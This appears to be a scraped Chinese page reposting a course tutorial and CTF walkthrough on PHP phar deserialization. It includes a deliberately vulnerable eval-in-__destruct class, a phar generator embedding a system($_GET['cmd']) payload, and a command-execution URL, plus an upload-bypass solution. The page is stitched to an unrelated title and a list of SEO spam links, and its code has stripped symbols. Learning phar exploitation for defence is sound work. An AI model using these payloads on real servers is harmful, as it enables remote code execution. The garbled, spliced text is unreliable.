当前位置: 首页 > news >正文

网站备案幕布怎么做西安到北京火车票多少钱

网站备案幕布怎么做,西安到北京火车票多少钱,网页制作专业要求,新网站怎么做外链Web渗透—PHP反序列化 课程学习分享#xff08;课程非本人制作#xff0c;仅提供学习分享#xff09; 靶场下载地址#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程#xff0c;基于课程制作的靶场 课程地址#xff1a;PHP反序列化漏洞学习_哔哩…Web渗透—PHP反序列化        课程学习分享课程非本人制作仅提供学习分享 靶场下载地址GitHub - mcc0624/php_ser_Class: php反序列化靶场课程基于课程制作的靶场 课程地址PHP反序列化漏洞学习_哔哩哔_bilibili 二十一、phar反序列化原理 1.什么是phar JAR是开发Java程序的一个应用包括所有的可执行、可访问的文件都打包进了一个JAR文件里使得部署过程十分简单。 PHAR(“Php ARchive”)是PHP里类似于JAR的一种打包文件。 对于PHP 5.3或更高版本Phar后缀文件是默认开启支持的可以直接使用它。 文件包含phar伪协议可读取.phar文件。 Phar的结构: 1stub phar        文件标识格式为xxx?php xxx;__HALT_COMPILER();?; (头部信息) 2manifset        压缩文件的属性等信息以序列化存储 3contents        压缩文件的内容 4signature        签名放在文件末尾 Phar协议解析文件时会自动触发对manifest字段的序列化字符串进行反序列化 压缩: ?php $phar new Phar(test2.phar,0,test2.phar); //创建一个test2.phar文件 $phar-buildfromDirectory(f:\0Day); //添加0Day文件夹内的所有文件添加到test2.phar文件中 $phar-setDefaultStub(test.txt,test.txt); //设置执行时的入口文件第一个用于命令行第二个用于浏览器访问这里都设置为test.txt ? new Phar可以创建一个 PHAR 文件对象在例题中传入了三个参数文件名、文件的压缩模式0 表示不压缩以及 PHAR 文件内部的别名可选。 buildfromDirectory方法的作用是将指定目录中的文件添加到 PHAR 文件中。它会递归地遍历目录下的所有文件和子目录并将它们添加到 PHAR 文件的内容中 setDefaultStub方法的作用是设置 PHAR 文件的默认入口点。入口点是指在执行 PHAR 文件时首先执行的文件或脚本。 解压缩: ?php $phar new Phar(test.phar); $phar-extractTo(test); //将PHAR文件中的内容提取到指定的目录test ? extractTo方法的作用是将 PHAR 文件中的内容提取到指定的目录。它接受一个参数即目标目录的路径将 PHAR 文件中的所有文件和目录提取到该目录中。 2.Phar漏洞原理 manifset压缩文件的属性等信息以序列化存储存在一段序列化的字符串 调用phar伪协议可读取 .phar 文件 Phar协议解析文件时会自动触发对manifest字段的序列化字符串进行反序列化。 Phar需要PHP5.2在php.ini中将phar.readonly设为Off注意去掉前面的分号 受影响的函数 fileatime filectime file_exists file_get_contents file_put_contents file filegroup fopen fileinode filemtime fileowner fileperms is_dir is_executable is_file is_link is_readable is_writable is_writeable parse_ini_file copy unlink stat readfile 3.漏洞实验验证 index.php ?php class Testobj{var $outputecho ok;;function __destruct(){ //反序列化Testobj触发__destruct()调用output值eval($this-output);} } if(isset($_GET[filename])){$filename$_GET[filename]; //提交文件名filenamefile_exists读取文件var_dump(file_exists($filename)); //检查文件是否存在 } ? file_exists有文件包含功能可调用phar伪协议读取test.phar phar.php ?php class Testobj{var $output; } unlink(test.phar); //删除之前的test.phar文件(如果有) $pharnew Phar(test.phar); //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering(); //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?); //写入stub $onew Testobj(); $o-outputsystem($_GET[cmd]);; $phar-setMetadata($o); //写入meta-data $phar-addFromString(test.txt,test); //添加要压缩的文件 $phar-stopBuffering(); ? 注意需要PHP5.2在php.ini中将phar.readonly设为Off 思路  1生成phar文件test.phar给其中output赋值为system($_GET[cmd]); 2Phar协议解析文件时会自动触发manifest字段的序列化字符串进行反序列化 3反序列化触发__destruct()执行eval($this-output); 4而反序列化后outputsystem($_GET[cmd]);cmd的值变得可控 5构造payloadURL?filenamephar://test.pharcmdwhoami 4.Phar漏洞条件 1phar文件能上传到服务器端 (可手动修改后缀不识别后缀名) 2要有可用反序列化魔术方法作为跳板 (需要有__wakeup()、__destruct()魔术方法) 3要有文件操作函数; (如file_exosts($filename)fopen()file_get_contents()) 4文件操作函数参数可控且 :、/、phar 等特殊字符没有被过滤 二十二、phar反序列化例题 1.实例代码 目标输出flag ?php class TestObject {public function __destruct() { //反序列化TestObject()触发__destruct执行echo $flaginclude(flag.php);echo $flag;} } $filename $_POST[file]; //通过POST提交file赋值$filename if (isset($filename)){ //判断是否有$filename值传递echo md5_file($filename); //计算文件的MD5值 } //upload.php ? md5_file()是一个PHP内置函数用于计算指定文件的MD5值 根据例题中的提示我们发现了upload.php页面可以进行文件上传 判断是否具有Phar漏洞条件 1phar文件能上传到服务器端 /upload.php 2要有可反序列化魔术方法作为跳板 __destruct() 3要有文件操作函数 md5_file 4文件操作函数参数可控 $POST[file] 2.解题代码 ?php class TestObject{ } unlink(test.phar);        //删除之前的test.phar文件(如果有) $pharnew Phar(test.phar);    //创建一个phar对象文件名必须以phar为后缀 $phar-startBuffering();        //开始写文件 $phar-setStub(?php __HALT_COMPILER(); ?);     //写入stub $onew TestObject(); $phar-setMetadata($o);                 //写入meta-data $phar-addFromString(test.txt,test);        //添加要压缩的文件 $phar-stopBuffering(); ?利用php脚本创建一个phar文件其中 mate-data 里放置一个包含TestObject()的序列化字符串 3.解题步骤 1生产一个phar文件在mate-data里放置一个包含TestObject的序列化字符串 2上传文件需要更改文件后缀为图片png格式phar伪协议不对后缀名进行检测进行绕过并得到上传文件存放目录 3利用POST传参和phar伪协议传递phar文件路径md5_file执行phar伪协议触发反序列化 4反序列化TestObject触发__destruct()执行echo $flag得到flag。 ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
http://www.zqtcl.cn/news/405357/

相关文章:

  • 胶东国际机场建设有限公司网站2021重大军事新闻
  • 企业网站优化的方式萍乡市建设局网站王丽
  • 做网站的收费标准社保网上服务大厅
  • php网站开发安全网站建设管理教程视频教程
  • 网站建设的空间是什么意思海络网站
  • 深圳华强北今晚网站优化推广公司
  • 网站建设行业好做吗太原网站改版
  • 寿光企业建站流程个人网站用什么软件
  • 网站建设与管理自考本全国卷wordpress 关闭文章修订
  • 兴义市建设局网站首页网站开发项目实训总结
  • 个人网站空间收费网络软文营销案例
  • 网站开发文件结构组成微网站移交
  • 西安全网优化 西安网站推广网页浏览器缩略词
  • 网站开发及企业推广营销型网站建设怎么收费
  • 网站建设与管理ppt课件百度云盘关键词推广营销
  • c asp.net网站开发书宁波建设业协会网站
  • 政务网站建设发言材料知名互联网公司有哪些
  • 网站搭建制作建e室内设计网画图
  • 重庆市建设工程施工安全管理信息网北京seo公司网站
  • 国外做调查问卷的网站建设邮费自己的网站 要不要购买服务器的
  • 网站建设和优化排名四川建设网官网证书查询入口
  • 如何搜名字搜到自己做的网站电子商务平台icp备案证明
  • 网站建设与管理工作内容北京网站建设价
  • 做网站选哪个语言软文营销的方法
  • 青岛正规公司网站建设公司中国建设银行注册网站
  • 免费个人网站平台关键词检索
  • 定制型网站建设推广宁河网站建设
  • 主流网站开发语言有哪些电子邮件营销
  • 扫描二维码进入公司网站怎样做在万网上域名了怎么做网站
  • 销售型网站设计怎么做网站广告位